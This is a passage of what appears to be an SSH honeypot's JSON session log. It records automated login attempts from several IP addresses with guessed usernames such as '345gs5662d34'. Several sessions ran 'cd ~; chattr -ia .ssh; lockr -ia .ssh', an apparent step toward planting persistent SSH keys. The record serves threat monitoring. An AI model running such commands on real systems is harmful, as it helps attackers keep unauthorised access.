  "commands": 27,
  "transcript_bytes": 3371
 },
 {
  "id": "81deb4e4-f243-43fa-9bbb-a4e504310373",
  "name": "mighty-genial-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.204.82.238",
  "src_port": 57046,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:11:25.633814+00:00",
  "ended_at": "2026-08-22T05:11:26.017238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2bcebd6-3ec4-44af-839a-ca530f617f7d",
  "name": "whispering-dusty-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.204.82.238",
  "src_port": 39670,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:11:11.970762+00:00",
  "ended_at": "2026-08-22T05:11:13.811683+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38518e3c-648b-4e89-92ea-391a7ac93175",
  "name": "velvet-watchful-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.204.82.238",
  "src_port": 39662,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:11:09.394447+00:00",
  "ended_at": "2026-08-22T05:11:10.912878+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3cc6d6ea-6fcc-4911-b965-96ef8116521f",
  "name": "windswept-marine-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.204.82.238",
  "src_port": 59552,
  "username": "oliver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:07:43.809456+00:00",
  "ended_at": "2026-08-22T05:07:45.044161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a138c833-813b-4b76-91a9-f7e27e1b99f6",
  "name": "merry-faded-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.11.36",
  "src_port": 40004,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 860,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T05:06:04.372296+00:00",
  "ended_at": "2026-08-22T05:06:04.643002+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3321
 },
 {
  "id": "59b1c34f-2dc3-4a26-8254-ffcaa4a2b0d7",
  "name": "granite-wooded-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 48838,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:05:44.112860+00:00",
  "ended_at": "2026-08-22T05:05:44.680018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ad80649-ee8a-4861-847e-568bf4b20f0d",
  "name": "prairie-stoic-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 42734,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:05:24.783220+00:00",
  "ended_at": "2026-08-22T05:05:26.479585+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb991a23-eddb-4c01-820e-fc21e991dc37",
  "name": "marbled-weathered-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 41146,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:05:21.466173+00:00",
  "ended_at": "2026-08-22T05:05:23.218809+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0008473d-a5fa-4950-bc61-f062aa179b6a",
  "name": "canny-umber-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.204.82.238",
  "src_port": 57502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:03:33.813196+00:00",
  "ended_at": "2026-08-22T05:03:35.067668+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "547784c3-f3d9-4ff5-9777-34497f88834f",
  "name": "rapid-fabled-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 47780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T05:02:31.585762+00:00",
  "ended_at": "2026-08-22T05:02:33.697060+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94b476aa-c6f7-4401-9ce9-d5eead37c120",
  "name": "ancient-solar-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.204.82.238",
  "src_port": 37584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T04:58:36.392930+00:00",
  "ended_at": "2026-08-22T04:58:37.326779+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47cc397d-d6fb-4178-835b-01fab2b04ce6",
  "name": "drifting-glassy-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "183.91.11.36",
  "src_port": 36952,
  "username": "prod",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T04:56:40.613732+00:00",
  "ended_at": "2026-08-22T04:56:42.651706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1f87e67-6186-4a5e-8920-d2aea36c71b4",
  "name": "patient-vigilant-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.158.49.223",
  "src_port": 57054,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T04:53:19.523151+00:00",
  "ended_at": "2026-08-22T04:53:20.759810+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0b73d99-0f20-4e51-aa7c-a0a50f254683",
  "name": "early-civil-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "181.164.12.188",
  "src_port": 47690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 620,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T01:48:04.820032+00:00",
  "ended_at": "2026-08-22T01:48:05.007288+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3555
 },
 {
  "id": "20cf43e4-8dfe-43bd-a62c-1afba182ce0e",
  "name": "quaint-smoky-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "181.164.12.188",
  "src_port": 38406,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:47:47.257082+00:00",
  "ended_at": "2026-08-22T01:47:47.601323+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39e7cd11-3f93-46a6-a518-7f6cb1870e26",
  "name": "tawny-gentle-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "181.164.12.188",
  "src_port": 47716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:47:33.000201+00:00",
  "ended_at": "2026-08-22T01:47:33.963365+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "048564c3-5271-447a-b133-3282606cbcff",
  "name": "forlorn-marine-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "181.164.12.188",
  "src_port": 47700,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:47:30.081621+00:00",
  "ended_at": "2026-08-22T01:47:31.751831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8c898ed-3e5c-4202-94f5-223ff2ea6e39",
  "name": "restless-indigo-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "181.164.12.188",
  "src_port": 52574,
  "username": "cloud",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:44:12.106895+00:00",
  "ended_at": "2026-08-22T01:44:13.540165+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3efd0c63-48a3-4f0a-87b2-5252f4c6200b",
  "name": "smoky-ancient-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "181.164.12.188",
  "src_port": 39634,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:37:00.373323+00:00",
  "ended_at": "2026-08-22T01:37:02.337555+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f567bc26-6240-465f-9ae0-dff2f938b90b",
  "name": "creaky-painted-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.114.125.22",
  "src_port": 59710,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 736,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T01:33:33.265881+00:00",
  "ended_at": "2026-08-22T01:33:33.493883+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3274
 },
 {
  "id": "0cda6086-702e-477c-af08-0110375aa556",
  "name": "golden-buoyant-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 44636,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:32:54.951416+00:00",
  "ended_at": "2026-08-22T01:32:55.287885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0480c99-485e-4f02-897e-d951c05d1906",
  "name": "lanky-murky-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 59728,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:32:36.820152+00:00",
  "ended_at": "2026-08-22T01:32:38.682137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6284a165-7d8d-4ac0-9719-76d778b024aa",
  "name": "umber-knotted-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 59726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:32:33.657937+00:00",
  "ended_at": "2026-08-22T01:32:35.396281+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "338f50b8-07bb-4c66-bf11-e4227c8cde1e",
  "name": "blazing-marbled-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.114.125.22",
  "src_port": 59682,
  "username": "kiosk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 712,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T01:30:01.457427+00:00",
  "ended_at": "2026-08-22T01:30:02.164826+00:00",
  "ended_reason": "exec complete",
  "commands": 5,
  "transcript_bytes": 791
 },
 {
  "id": "0e466c10-05a4-4b97-aab7-4dd26255884c",
  "name": "cunning-mindful-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 59702,
  "username": "kiosk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:29:57.246272+00:00",
  "ended_at": "2026-08-22T01:29:59.355465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "29fce00b-47aa-4f4c-b379-9c290320c9ed",
  "name": "fearless-keen-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 59696,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:29:53.159786+00:00",
  "ended_at": "2026-08-22T01:29:55.219750+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2625b64e-106b-41ed-8c97-d6dd3f6f48c9",
  "name": "rapid-oaken-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 43878,
  "username": "jessica",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:26:53.403718+00:00",
  "ended_at": "2026-08-22T01:26:55.129766+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4d0847d-8184-4ac1-81a9-138e8a7339fe",
  "name": "hidden-forlorn-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 57856,
  "username": "n8n",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:23:56.285353+00:00",
  "ended_at": "2026-08-22T01:23:57.696881+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "167269a6-3bc9-4464-a2cb-2d5f4137ee95",
  "name": "cosmic-oaken-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.114.125.22",
  "src_port": 53310,
  "username": "nima",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T01:16:31.482212+00:00",
  "ended_at": "2026-08-22T01:16:33.131448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1717ccb8-2a3e-4918-a53f-737276bbee20",
  "name": "lunar-indigo-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.248.121.226",
  "src_port": 51178,
  "username": "vpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T00:31:10.803275+00:00",
  "ended_at": "2026-08-22T00:31:10.912877+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3385
 },
 {
  "id": "1eb3a1c3-7293-4fe9-b6a5-0e07453720e1",
  "name": "plush-gritty-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.248.121.226",
  "src_port": 43560,
  "username": "vpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:30:55.803088+00:00",
  "ended_at": "2026-08-22T00:30:56.123572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8190c4fb-69c1-415f-95a5-d20f1848a1cd",
  "name": "dapper-leafy-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.248.121.226",
  "src_port": 51188,
  "username": "vpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:30:44.199401+00:00",
  "ended_at": "2026-08-22T00:30:46.071859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89e47f21-6082-4121-b5c2-e40d2a20a19e",
  "name": "sleepy-gentle-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.248.121.226",
  "src_port": 51182,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:30:41.756377+00:00",
  "ended_at": "2026-08-22T00:30:43.451763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d67f899c-fb7e-456d-ba0b-f2cd75bd0c13",
  "name": "obsidian-craggy-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.248.121.226",
  "src_port": 42756,
  "username": "hd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:27:59.300357+00:00",
  "ended_at": "2026-08-22T00:28:00.880195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "885a10c9-7a2d-4cd3-aab0-e0884fb7f95d",
  "name": "brazen-gnarled-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.248.121.226",
  "src_port": 57898,
  "username": "ipfs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T00:21:15.862885+00:00",
  "ended_at": "2026-08-22T00:21:16.748683+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14592ca2-05d5-49de-bc8c-a65243d8b786",
  "name": "crisp-thrifty-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.193.74.35",
  "src_port": 59762,
  "username": "moodle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:41:24.962326+00:00",
  "ended_at": "2026-08-21T22:41:25.198772+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3571
 },
 {
  "id": "00b3cb3c-f875-400b-a02c-f66908386bb1",
  "name": "tangled-silent-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.193.74.35",
  "src_port": 46410,
  "username": "moodle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:41:05.464858+00:00",
  "ended_at": "2026-08-21T22:41:06.007064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f81f91e-f16b-4138-935b-c4cf1f56c3dd",
  "name": "gnarled-gentle-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.193.74.35",
  "src_port": 59088,
  "username": "moodle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:40:46.785466+00:00",
  "ended_at": "2026-08-21T22:40:48.174884+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbb9454e-2bd8-49c1-a896-aa1d2f2761c1",
  "name": "shifting-smoky-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.193.74.35",
  "src_port": 59080,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:40:43.385923+00:00",
  "ended_at": "2026-08-21T22:40:45.287475+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3118786-b7f2-43d2-ac49-1a16c5cc2b85",
  "name": "polar-hushed-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.193.74.35",
  "src_port": 47610,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:38:10.117358+00:00",
  "ended_at": "2026-08-21T22:38:12.097442+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1af2f3f-874a-418a-9ef8-8243ac7a366a",
  "name": "windswept-sterling-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.193.74.35",
  "src_port": 59240,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:35:35.567183+00:00",
  "ended_at": "2026-08-21T22:35:36.777363+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81763824-00e9-45dd-8f19-eed0b03f43a8",
  "name": "oaken-pewter-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.193.74.35",
  "src_port": 35278,
  "username": "juan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:28:34.923097+00:00",
  "ended_at": "2026-08-21T22:28:36.491540+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53a3648e-931d-4b38-a64e-98873cd47818",
  "name": "grumpy-twilight-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "49.207.247.60",
  "src_port": 8157,
  "username": "kk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 642,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:15:18.046669+00:00",
  "ended_at": "2026-08-21T22:15:18.243265+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3926
 },
 {
  "id": "e0da0a11-17bf-4d3e-b342-77554bcc6bb0",
  "name": "cunning-amber-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "49.207.247.60",
  "src_port": 8489,
  "username": "kk",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:14:45.239787+00:00",
  "ended_at": "2026-08-21T22:14:46.565394+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ba09aea-bf8a-4536-8de8-d6c12c4190da",
  "name": "opal-tender-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "49.207.247.60",
  "src_port": 9142,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:14:42.315415+00:00",
  "ended_at": "2026-08-21T22:14:43.973329+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cc7a6c5-0cf1-43ec-a02d-3ea68596a8f3",
  "name": "austere-regal-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.152.148.27",
  "src_port": 51410,
  "username": "vadim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:13:33.104155+00:00",
  "ended_at": "2026-08-21T22:13:33.323354+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3492
 },
 {
  "id": "66874702-aab3-493d-94b1-def8dfceddc1",
  "name": "cosmic-tranquil-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.152.148.27",
  "src_port": 55230,
  "username": "vadim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:13:13.855895+00:00",
  "ended_at": "2026-08-21T22:13:14.323041+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ad09957-4d19-4f2e-94df-746fb81f3ad2",
  "name": "proud-subtle-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.152.148.27",
  "src_port": 51426,
  "username": "vadim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:12:55.424525+00:00",
  "ended_at": "2026-08-21T22:12:57.391000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "504cfa5c-51b9-49ed-985e-44fc736cec46",
  "name": "brave-frosty-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.152.148.27",
  "src_port": 51418,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:12:52.951584+00:00",
  "ended_at": "2026-08-21T22:12:53.946455+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "805b0c41-df08-4f67-97ad-3be20b219cb9",
  "name": "tawny-pleasant-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "49.207.247.60",
  "src_port": 7968,
  "username": "baco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T22:12:24.110812+00:00",
  "ended_at": "2026-08-21T22:12:25.353231+00:00",
